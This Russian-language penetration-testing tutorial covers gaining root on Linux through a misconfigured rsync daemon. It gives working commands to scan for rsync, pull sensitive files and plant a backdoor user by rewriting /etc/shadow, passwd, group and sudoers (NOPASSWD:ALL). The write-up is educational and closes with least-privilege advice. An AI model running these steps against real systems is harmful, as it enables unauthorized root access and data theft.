Методы проникновения в линуксовые системы (часть 1): Rsync
В этой статье будет рассмотрено получение шелла с правами суперпользователя в Линуксе с небезопасной конфигурацией в Rsync.
Думаю, будет полезно как начинающим пентестерам, так и тем, кто желает освежить знания по этой теме. Это первая из пяти частей, предусмотренных в этой серии. Мы рассмотрим методы первоначального проникновения в систему и повышения локальных привилегий, в основном используемые во время реальных сетевых пентестов.
Что такое RSYNC
Rsync представляет собой утилиту для передачи и синхронизации файлов между двумя серверами (обычно с Линуксом). Синхронизация выполняется по результатам проверки размера файлов и временных меток. Так в чем же проблема? Во время каждого третьего пентеста мы обнаруживаем сервера с небезопасными настройками для Rsync, позволяющие получить неавторизированный доступ к конфиденциальным данным, а в некоторых случаях шелл с правами суперпользователя. Как вы понимаете, все зависит от конкретной конфигурации.
Для удаленного доступа к совместно используемым каталогам через Rsync требуется две вещи: доступ к общим файловым ресурсам и права доступа к файлам.
- Доступ к общим файловым ресурсам настраивается в файле /etc/Rsyncd.conf. Возможен анонимный или авторизированный доступ.
- Доступ к файлам также можно настроить в файле /etc/Rsyncd.conf, указав пользователя, от имени которого будет запускаться служба Rsync. Если Rsync сконфигурирован на запуск от имени root, то у любого, кому разрешено подключение, получает доступ к совместно используемым файловым ресурсам с правами суперпользователя.
Ниже показан пример конфигурационного файла Rsyncd.conf, разрешающего анонимный доступ с правами суперпользователя ко всей файловой системе:
motd file = /etc/Rsyncd.motd lock file = /var/run/Rsync.lock log file = /var/log/Rsyncd.log pid file = /var/run/Rsyncd.pid [files] path = / comment = Remote file share. uid = 0 gid = 0 read only = no list = yes
Поиск серверов с RSYNC
По умолчанию служба Rsync слушает на порту 873 и обычно сконфигурирована без необходимости в аутентификации и без ограничений по IP-адресу. Найти сервера со службой Rsync можно при помощи утилит навроде nmap.
nmap -sS -sV -p873 192.168.1.0/24 –oA Rsync_scan grep –i "open" Rsync_scan.gnmap
Получение списка совместно используемых ресурсов в Rsync
Ниже показаны команды, которые могут быть использованы для получения списка доступных директорий и файлов.
Содержимое директории
rsync 192.168.1.171::
Содержимое вложенной директории
rsync 192.168.1.171::files
Список директорий и файлов рекурсивно
rsync -r 192.168.1.171::files/tmp/
Загрузка файлов с сервера через RSYNC
Ниже показаны команды, которые можно использовать для загрузки с сервера файлов, найденных через Rsync. Легко скачивать файлы, содержащие пароли и другую конфиденциальную информацию.
Загрузка файлов
rsync 192.168.1.171::files/home/test/mypassword.txt .
Загрузка папок
rsync -r 192.168.1.171::files/home/test/
Загрузка файлов на сервер через RSYNC
Ниже показаны команды для загрузки файлов на сервер при помощи Rsync. Полезно для загрузки скриптов и бинарных файлов в директории, где происходит автоматический запуск.
Загрузка файлов на сервер
rsync ./myfile.txt 192.168.1.171::files/home/test
Загрузка директорий на сервер
rsync -r ./myfolder 192.168.1.171::files/home/test
Создание нового пользователя через Rsync
Если Rsync сконфигурирован на запуск от имени root, и доступно анонимное подключение, в этом случае можно создать нового привилегированного пользователя, непосредственно изменяя файлы shadow, passwd, group и sudoers.
Примечание: Тот же подход можно использовать для любой уязвимости, которая дает полноценное право на запись в операционной системе. Другие примеры могут включать NFS-экспорты, а также загрузку на сервер веб-шеллов и последующий запуск от имени root.
Создание домашней директории
Начинаем с создания домашней директории пользователя.
# Create local work directories mkdir demo mkdir backup cd demo # Create new user’s home directory mkdir ./myuser rsync -r ./myuser 192.168.1.171::files/home
Создание новой записи в файле shadow
В файле /etc/shadow содержатся пароли и другая информация о пользователе, как, например, домашняя директория. Этот файл доступен только для суперпользователя.
Чтобы добавить запись о новом пользователе через Rsync, нужно:
- Сгенерировать пароль.
- Создать строку, которую необходимо добавить.
- Загрузить с сервера файл /etc/shadow (и сделать резервную копию).
- Добавить нового пользователя в конец файла /etc/shadow.
- Загрузить и перезаписать существующей файл /etc/shadow на сервере.
Примечание: Убедитесь, что новый пользователь уже не существует в системе.
Создание зашифрованного пароля:
openssl passwd -crypt password123
Добавление записи о новом пользователе в файл /etc/shadow:
rsync -R 192.168.1.171::files/etc/shadow . cp ./etc/shadow ../backup echo "myuser:MjHKz4C0Z0VCI:17861:0:99999:7:::" >> ./etc/shadow rsync ./etc/shadow 192.168.1.171::files/etc/
Создание новой записи в файле passwd
В файле /etc/passwd хранится информация о зарегистрированных пользователях, у которых есть доступ к системе, но не хранятся зашифрованные пароли. Этот файл доступен для чтения всем пользователям.
Для добавления записи о новом пользователе через Rsync, нужно сделать следующее:
- Создать запись о пользователе для добавления.
- Загрузить с сервера файл /etc/passwd (и сделать резервную копию, чтобы восстановить старый файл в будущем).
- Добавить созданную запись в конец файла passwd.
- Загрузить / перезаписать существующий файл /etc/passwd на сервере.
Примечание: Можно легко изменить uid, однако следует убедиться, что это значение совпадает с тем, которое установлено в файле /etc/group. В нашем случае UID/GUID равны 1021.
Добавление новой записи в файл /etc/passwd:
rsync -R 192.168.1.171::files/etc/passwd . cp ./etc/passwd ../backup echo "myuser:x:1021:1021::/home/myuser:/bin/bash" >> ./etc/passwd rsync ./etc/passwd 192.168.1.171::files/etc/
Создание новой записи в файле group
В файле /etc/group содержится информация о группах. Зашифрованных паролей нет. Этот файл доступен для чтения всем пользователям.
Для добавления новой записи через Rsync нужно:
- Создать строку для добавления.
- Загрузить с сервера файл /etc/group (и на всякий случай сделать резервную копию).
- Добавить новую запись в конец файла group.
- Загрузить / перезаписать существующий файл /etc/group на сервере.
Примечание: Можно легко поменять uid, но нужно убедиться, что это значение соответствует тому, которое указано в файле /etc/passwd. В нашем случае UID/GUID равны 1021.
Добавление новой записи в /etc/group:
rsync -R 192.168.1.171::files/etc/group . cp ./etc/group ../backup echo "myuser:x:1021:" >> ./etc/group rsync ./etc/group 192.168.1.171::files/etc/
Создание новой записи в файле sudoers
Файл /etc/sudoers содержит список пользователей, которым разрешено запускать команды от имени суперпользователя при помощи утилиты sudo. Этот файл доступен для чтения только суперпользователю. Мы будем модифицировать /etc/sudoers, чтобы новый пользователь смог запускать команды через sudo.
Для добавление новой записи через Rsync нужно:
- Создать строку для добавления.
- Загрузить с сервера файл /etc/sudoers (и сделать резервную копию).
- Добавить новую запись в конец файла sudoers.
- Загрузить / перезаписать существующий файл /etc/sudoers на сервере.
Добавление новой записи в /etc/sudoers:
rsync -R 192.168.1.171::files/etc/sudoers . cp ./etc/sudoers ../backup echo "myuser ALL=(ALL) NOPASSWD:ALL" >> ./etc/sudoers rsync ./etc/sudoers 192.168.1.171::files/etc/
Теперь вы можете залогиниться на сервере через SSH при помощи только что созданного пользователя, запустить команду sudo sh и получить привилегии суперпользователя.
Демонстрационное видео атаки через Rsync
Ниже приведено видео, созданное в тестовой среде, где показан процесс идентификации и эксплуатации уязвимости сервера с небезопасной конфигурацией Rsync для получения шелла с правами суперпользователя. Кажется, довольно просто, но такие ситуации встречаются во время реальных пентестов.
http://blog.netspi.com/wp-content/uploads/2020/03/RSYNC_ATTACK_DEMO.mp4
Заключение
В этой статье был продемонстрирован один из методов для получения удаленного шелла с правами суперпользователя в Линуксе при помощи уязвимости, дающей права на запись. Хотя существует множество методов решения одной задачи, я считаю, что мораль истории такова: все типы совместно используемых сетевых ресурсов должны быть сконфигурированы с минимально возможными привилегиями с целью предотвращения неправомерного доступа к данным и системам. Надеюсь, статья окажется полезной для начинающих пентестеров и специалистов по безопасности, которые пытаются оценить последствия от небезопасных настроек в Rsync.
Во второй части поговорим об NFS-экспортах и флаге setupid у бинарных файлов.